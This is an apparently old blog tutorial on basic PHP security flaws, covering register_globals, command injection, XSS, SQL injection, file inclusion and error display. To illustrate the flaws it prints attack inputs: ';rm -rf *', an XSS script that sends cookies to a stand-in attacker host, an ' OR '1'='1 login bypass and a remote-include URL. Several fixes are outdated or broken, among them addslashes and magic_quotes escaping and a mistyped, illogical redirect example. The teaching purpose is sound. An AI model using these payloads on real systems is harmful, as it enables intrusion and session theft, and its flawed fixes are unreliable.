Basic security vulnerabilities in php code

Post Date: Jan 01 2009
Total Visit: 6289

Today I have informed PHP programmers of common security mistakes that can be overlooked in PHP scripts. In the beginning programmers fail to understand about the PHP security issues or how to make secure script. The wise programmer knows that the real question is how secure a site is. Here I have focus how to make your applications more secure. After applying the following practices to your coding, you will be able to eliminate the vast majority of security.

While making a dynamic website then the most of programmers making mistake on basic PHP security issues which I have today demonstrate here. Either you make content management system or E-commerce or community website or lowest unique bid auction or Penny Auction or marketplace or etc... you must be take care of these PHP security issues before start any type of project.

Be careful when using register_globals = ON:

Register Globals (register_globals)"on"making security problem in PHP Script.register_globals "on"make easy to use, while also making it less secure (convenience often weakens security).

It will make easy to use but the other thing is that overlaps the variables like$passwordis similar work with$_GET[password], $_POST[password], $_REQUEST['password'], $_SESSION['password']  or $_COOKIE[' password ']. It means creates the conflicts between variables and also create the security problems.

A malicious user could use holes created by non initialized variables to hack your system. For example:
if( !empty( $_POST['username'] ) && $_POST['username'] == 'test' && !empty( $_POST['password'] ) && $_POST['password'] == "test123" )
{ $access = true; }

If the application is running withregister_globals ON, a user could just placeaccess=1into a query string, and would then have access to whatever the script is running.

Unfortunately, we cannot disableregister_globalsfrom the script side (usingini_set, like we normally might), but we can use an.htaccessfiles to do this. Some hosts also allow you to have aphp.inifile on the server.

Disabling with .htaccess
php_flag register_globals 0

Disabling with php.ini
register_globals = Off

Unvalidated Input Errors:

User provided data simply cannot be trusted because assume every one of your Web application users is malicious. If you not assume id and run it directly then you are left hole in your application and attacker might be deleted all the files or whatever they want to do. As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

$month =  $_GET['month'];
$year = $_GET['year'];

exec("cal $month  $year", $result);
print  "<PRE>";
foreach ($result as  $r) { print "$r<BR>"; }
print  "</PRE>";

This code has a gaping security  hole, since the$_GET[month]and$_GET[year]variables are not validated in any way. The application  works perfectly, as long as the specified month is a number between 1 and 12,  and the year is provided as a proper four-digit year. However, a malicious user  might append ";ls  -la" to the year value and thereby see a  listing of your Website's html directory. An extremely malicious user could  append ";rm  -rf *" to the year value and delete your  entire Website!

The proper way to correct this is to  ensure that the input you receive from the user is what you expect it to be. Do  not use JavaScript validation for this; such validation methods are easily  worked around by an exploiter who creates their own form or disables  javascript. You need to add PHP code to ensure that the month and year inputs  are digits and only digits, as shown below.

$month  = $_GET['month'];
$year  = $_GET['year'];

if  (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please  re-enter.");
if  (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please  re-enter.");

exec("cal  $month $year", $result);
print  "<PRE>";
foreach  ($result as $r) { print "$r<BR>"; }
print  "</PRE>";

This code can safely be used without  concern that a user could provide input that would compromise your application,  or the server running it. Regular expressions are a great tool for input  validation. They can be difficult to grasp, but are extremely useful in this  type of situation.

Cross-Site Scripting (XSS)  Flaws:

Cross  site scripting, or XSS, flaws are a subset of user validation where a malicious  user embeds scripting commands  usually JavaScript in data that is  displayed and therefore executed by another user.

For example, if your application  included a forum in which people could post messages to be read by other users,  a malicious user could embed a<script>tag, shown below, which would  reload the page to a site controlled by them, pass your cookie and session  information as GET variables to their page, then reload your page as though  nothing had happened. The malicious user could thereby collect other users'  cookie and session information, and use this data in a session hijacking or  other attack on your site.

<script>document.location  =   'http://www.badguys.com/cgi-bin/cookie.php?' +   document.cookie; </script>

So, never display any information  coming from outside your program without filtering it first. To prevent this  type of attack PHP gives you plenty of tools to filter untrusted data:

  • htmlspecialchars()turns&       >" <into their HTML-entity       equivalents and can also convert single quotes by passingENT_QUOTESas a second argument.
  • strtr()filters any characters you’d like. Passstrtr()an array of characters and their replacements. To       change ( and ) into their entity equivalents, which is recommended to       prevent XSS attacks, do:
    $safer =       strtr($untrusted, array('(' =>'(', ')' =>')'));
  • strip_tags()removes HTML and PHP tags from a string.

SQL Injection Vulnerabilities

SQL injection vulnerabilities are  yet another class of input validation flaws. Specifically, they allow for the  exploitation of a database query. For example, in your PHP script, you might  ask the user for a user ID and password, then check for the user by passing the  database a query and checking the result.

SELECT  * FROM users WHERE name='$username' AND pass='$password';

However,  if the user who's logging in is devious, he may enter the following as his password:' OR  '1'='1

This  results in the query being sent to the database as:

SELECT  * FROM users WHERE name='known_user' AND pass='' OR '1'='1';

This will return the username  without validating the password -- the malicious user has gained entry to your application  as a user of his choice. To alleviate this problem, you need to escape  dangerous characters from the user-submitted values, most particularly the  single quotes ('). The simplest way to do this is to use PHP'saddslashes()function.

$username  = addslashes($_POST["username"]);
$password  = addslashes($_POST["password"]);

You can  also use
Enabling with .htaccess
php_flag magic_quotes_gpc on

Enabling with php funcion
ini_set ('magic_quotes_gpc', 1);
mysql_escape_string($var);

Disabling with php.ini
register_globals  = Off

Do not display Error Reporting on live site:

error_reporting(E_ALL) gives helps to the programmer to find out the  all error while you have developing application as well as it  helps you write clean code, and catch misspellings in variables (especially  case-sensitivity issues with variables) but For security reasons you are encouraged to change into error_reporting(0) when  your website goes live error_reporting(0).

The  hackers try to cause errors because error messages are normally very  informative to allow the webmaster to debug the error but a hacker may use this  information to find a security hole or execute an attack on the website. You  could reduce error reporting level by using the php function error_reporting().  Include this php code in a global file which gets included in all your pages so  as to prevent error reporting.

//  Turn off all error reporting
error_reporting(0);

//  Errors are not displayed
ini_set('display_errors',  0);

Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first:

Take the following example:
if(isset($page))
{ include($page); }

Since there is no validation being done on$page, a malicious user could hypothetically call your script like this (assumingregister_globalsis set toON):

script.php?page=/etc/passwd

Therefore causing your script to include the servers/etc/passwdfile. When a non PHP file isinclude() or require(), it's displayed as HTML/Text, not parsed as PHP code.On many PHP installations, the include() and require() functions can include remote files. If the malicious user were to call your script like this:

script.php?page=http://mysite.com/evilscript.php

He would be able to haveevilscript.phpoutput any PHP code that he or she wanted your script to execute. Imagine if the user sent code to delete content from your database or even send sensitive information directly to the browser.

One method of validation would be to create a list of acceptable pages. If the input did not match any of those pages, an error could be displayed.

$pages = array('index.html', 'page2.html', 'page3.html');
if(in_array($page, $pages))
{ include($page); }
else
{ die("Nice Try."); }

Be extra careful when using any function that runs commands on the server

This  includeseval(), exec(), system(), passthru(), popen(), and thebackticks (``). Because each of these runs commands on the  server itself, they should never be used casually. And if you must use a  variable as part of the command to execute, perform any and all security checks  on that variable first. Also use theescapeshellarg()andescapeshellcmd()functions as an extra precaution.

Do not upload same file name on server which is provided by the users.

When you  move a file onto your server, rename it to something safe, preferably something  not guessable.

Do not validate your application with JavaScript only.

When your  application validate with JavaScript only it means you left hole and your  application easily hack by disable JavaScript from browser. In this way hacker  access your secure page easily. Also don’t redirect your page with JavaScript  specially login process page or admin welcome page or ATM card validation page.  For example:

Suppose  someone access your user account page directly without login and you have  redirect with following JavaScript to prevent user account access.

<script  type="text/javascript">document.locaton.href='account.php'</script>

In this  case if you disable JavaScript from browser then your account page access  easily. So, Better you can use like

<script  type="text/javascript">document.locaton.href='account.php'</script>
<?php  exit; ?>
Or
<?php header("Location: login.php");exit; ?>

Never keep phpinfo() scripts on the server

Although  vital for developing and debugging PHP applications,phpinfo()scripts reveal too much information and are too easily  found if left on a live site.

Tags: PHP Security, Basic security vulnerabilities in php code,PHP website security issue Bookmark and Share

To do articles more effectively, we need your comments or suggestions on how to improve the articles and make it more useful, or what other articles you would like in the future. Please CLICK HERE and leave your feedback. Thanks!!!